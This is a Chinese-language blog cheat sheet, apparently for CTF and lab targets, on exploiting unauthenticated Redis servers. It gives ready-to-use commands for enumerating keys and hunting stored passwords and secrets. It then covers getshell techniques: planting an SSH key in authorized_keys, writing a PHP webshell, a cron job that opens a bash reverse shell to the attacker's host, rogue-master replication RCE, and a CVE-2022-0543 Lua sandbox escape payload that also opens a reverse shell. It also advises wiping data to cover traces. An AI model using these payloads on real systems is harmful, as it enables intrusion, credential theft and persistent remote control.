本文最后更新于34 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
0x01 链接Redis服务
| 场景 | 命令示例 | 说明 |
|---|---|---|
| 本地连接 (在靶机上) | redis-cli | 连接本机默认端口(6379)的Redis。 |
| 远程连接 (从你的Kali) | redis-cli -h <靶机IP> -p 6379 | 连接靶机的Redis服务。 |
| 使用密码认证 | redis-cli -h <靶机IP> -p 6379 -a <密码> | 如果设置了密码。注意:这可能会在历史记录中留下密码。更安全的方式是先连接,再用 AUTH 命令。 |
| 交互式认证 | redis-cli -h <靶机IP>> AUTH <密码> | 连接后,在交互提示符下认证。 |
0x02 核心提权命令
| 命令 | 用途 | 示例 |
|---|---|---|
INFO | 获取Redis服务器详细信息,这是第一步。 | INFOINFO server (只看服务器部分) |
CONFIG GET dir | 获取Redis数据持久化存储的目录。这是写文件提权的基础。 | CONFIG GET dir |
CONFIG GET dbfilename | 获取持久化数据文件的文件名 (默认为 dump.rdb)。 | CONFIG GET dbfilename |
CONFIG SET dir <路径> | 修改存储目录。可设置为 /root/.ssh/、/var/www/html 等。 | CONFIG SET dir /var/www/html |
CONFIG SET dbfilename <文件> | 修改持久化文件名。可设置为 authorized_keys、shell.php 等。 | CONFIG SET dbfilename shell.php |
SET <键名> <值> | 设置一个键值对。值可以是你想写入的文件内容。 | SET mykey "<?php system(\$_GET['c']);?>" |
GET <键名> | 获取键对应的值。 | GET mykey |
SAVE | 将当前数据保存到磁盘。执行后,SET 的内容会根据 dir 和 dbfilename 的设置写入文件。这是提权成功的关键一步。 | SAVE |
FLUSHALL | 删除所有数据。可用于清理痕迹,慎用。 | FLUSHALL |
SELECT <编号> | 切换数据库(0-15)。数据默认在数据库0。 | SELECT 1 (切换到1号库) |
0x03 信息提取命令
1.由于Redis没有“表”的概念,首先要找出存在哪些键。
| 命令 | 用途与风险 | 示例 |
|---|---|---|
KEYS * | 列出所有键名。警告:在生产环境或数据量大时,此命令会阻塞服务,引起注意。在CTF/靶场中通常可直接使用。 | KEYS * |
SCAN | 迭代式扫描键,更安全、不阻塞。推荐使用。0是游标起始,MATCH可指定模式。 | SCAN 0 MATCH *SCAN 0 MATCH user* |
INFO keyspace | 查看各数据库的键数量概览。 | INFO keyspace |
SELECT <编号> | Redis有16个数据库(0-15)。默认在0号库。用此命令切换。 | SELECT 1 (切换到1号库,然后 KEYS *) |
2.接着要判断键的类型并提取值
Redis键有5种主要类型,提取方法不同。使用 TYPE <key> 先判断。
| 键类型 (TYPE结果) | 查看命令 | 提取信息示例 |
|---|---|---|
| String (字符串) | GET <key> | GET username -> 可能得到 "admin" |
| Hash (哈希表) | HGETALL <key>HKEYS <key>HVALS <key> | HGETALL user:1 -> 可能得到用户信息字段 |
| List (列表) | LRANGE <key> 0 -1 | LRANGE messages 0 -1 -> 查看所有列表项 |
| Set (集合) | SMEMBERS <key> | SMEMBERS admin:ips -> 查看集合所有成员 |
| Sorted Set (有序集合) | ZRANGE <key> 0 -1 WITHSCORES | ZRANGE rankings 0 -1 WITHSCORES |
3.针对性搜索敏感信息
# 1. 搜索包含敏感关键词的键名(使用SCAN避免阻塞)
SCAN 0 MATCH *user* # 找用户相关
SCAN 0 MATCH *pass* # 找密码相关
SCAN 0 MATCH *auth* # 找认证相关
SCAN 0 MATCH *config* # 找配置
SCAN 0 MATCH *admin* # 找管理员相关
SCAN 0 MATCH *ssh* # 找SSH相关
SCAN 0 MATCH *backup* # 找备份
# 2. 查看值较大的键(可能包含序列化数据、文件内容)
# 先获取所有键名,然后用 DEBUG OBJECT <key> 查看序列化长度(需谨慎)
KEYS * | head -20 # 先取一部分样本
DEBUG OBJECT potential_large_key # 观察 serializedlength 值
# 3. 特别检查可疑的、非业务型的键名
# 比如像 `crackit`, `backdoor`, `shell`, `...`(可能是之前攻击者留下的)
SCAN 0 MATELIM 100 # 限制返回数量,避免输出过多
4. 提取数据的实用技巧
A. 批量导出所有键值对(用于离线分析)
如果数据量不大,可以导出到文件。
# 方法:使用redis-cli的批量模式
redis-cli -h <靶机IP> --scan > all_keys.txt
# 然后遍历获取每个值(注意:可能触发大量请求)
while read key; do echo "=== $key ==="; redis-cli -h <靶机IP> GET "$key"; done < all_keys.txt > all_data.txt
B. 识别和提取可能的结构化数据
如果值看起来像Base64、序列化对象或JSON:
# 1. 获取值并用常用命令分析
redis-cli -h <靶机IP> GET config | xxd | head -5 # 查看二进制
redis-cli -h <靶机IP> GET config | base64 -d 2>/dev/null | strings # 尝试解码
# 2. 如果是PHP序列化数据(以 O: 或 a: 开头),可能包含对象注入漏洞
redis-cli -h <靶机IP> GET session_data
5. 与提权直接相关的信息提取
在渗透测试中,你浏览Redis的核心目标是找到能帮助你提权的信息。
| 你希望找到什么? | 对应的Redis搜索策略 | 找到后怎么做? |
|---|---|---|
| Redis自身的密码 | 查看Redis配置文件或内存中的配置键。CONFIG GET requirepass | 用于认证,获取更高权限。 |
| 系统其他服务的密码 | 搜索包含 pass, pwd, cred, secret 的键。 | 尝试登录SSH、数据库、Web后台。 |
| Web应用源代码/配置 | 搜索包含 source, config, .php, .env 的键。 | 分析源码漏洞、数据库连接字符串。 |
| 之前攻击者留下的后门 | 寻找异常键名,或包含 eval, system, exec 等函数名的值。 | 直接利用现有后门。 |
| 序列化的会话对象 | 搜索包含 session, sess, PHPSESSID 的键。 | 尝试反序列化攻击。 |
0x04 Getshell方法
1.写入ssh公钥(Linux靶机,最常用)
前提:Redis服务运行用户(通常为redis)有~/.ssh/目录的写入权限。
# 1. 在攻击机生成SSH密钥对(如果已有可跳过)
ssh-keygen -t rsa -f /tmp/redis_key
# 2. 将公钥格式化为一行的字符串,写入远程Redis
(echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/redis_key.txt
cat /tmp/redis_key.txt | redis-cli -h <靶机IP> -x set ssh_key
# 3. 连接Redis,将公钥写入目标机的authorized_keys文件
redis-cli -h <靶机IP>
> config set dir /home/<用户名>/.ssh/ # 尝试常见目录:/root/.ssh/, /home/redis/.ssh/
> config set dbfilename authorized_keys
> save
利用:
ssh -i /tmp/redis_key <用户名>@<靶机IP>
2.写入Webshell(存在Web目录可写)**
前提:知道Web根目录路径(如/var/www/html),且有写权限。
redis-cli -h <靶机IP>
> config set dir /var/www/html
> config set dbfilename shell.php
> set webshell "<?php system($_GET['cmd']); ?>"
> save
访问 http://<靶机IP>/shell.php?cmd=id 验证。
3.写入计划任务(Crontab)提权
经典方法,但较新系统可能受限。
redis-cli -h <靶机IP>
> config set dir /var/spool/cron/ # 或 /etc/cron.d/
> config set dbfilename root # 文件名取决于系统,可尝试 root 或 redis
> set cronjob "\n\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<你的IP>/<端口> 0>&1'\n\n"
> save
注意:新版本Redis可能默认禁止保存到敏感目录,且现代Linux系统对/etc/cron.d/文件格式要求严格。
4.利用Redis主从复制RCE(Redis 4.x-5.x)**
当Redis版本在4.x或5.x时可用,成功率极高。
bash
# 1. 在攻击机下载并运行恶意Redis模块生成工具
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand
make
# 2. 利用工具自动完成攻击(工具会模拟恶意主服务器)
python3 redis-rce.py -r <靶机IP> -p 6379 -L <你的IP> -f module.so
此方法会直接返回一个交互式shell。
5.LUA沙盒绕过(CVE-2022-0543)
影响Redis在特定Debian/Ubuntu打包版本。
redis-cli -h <靶机IP>
> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
如果返回命令执行结果,说明存在漏洞。
利用
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash -c \"bash -i >& /dev/tcp/<kali的ip>/<监听的端口> 0>&1\"", "r"); local res = f:read("*a"); f:close(); return res' 0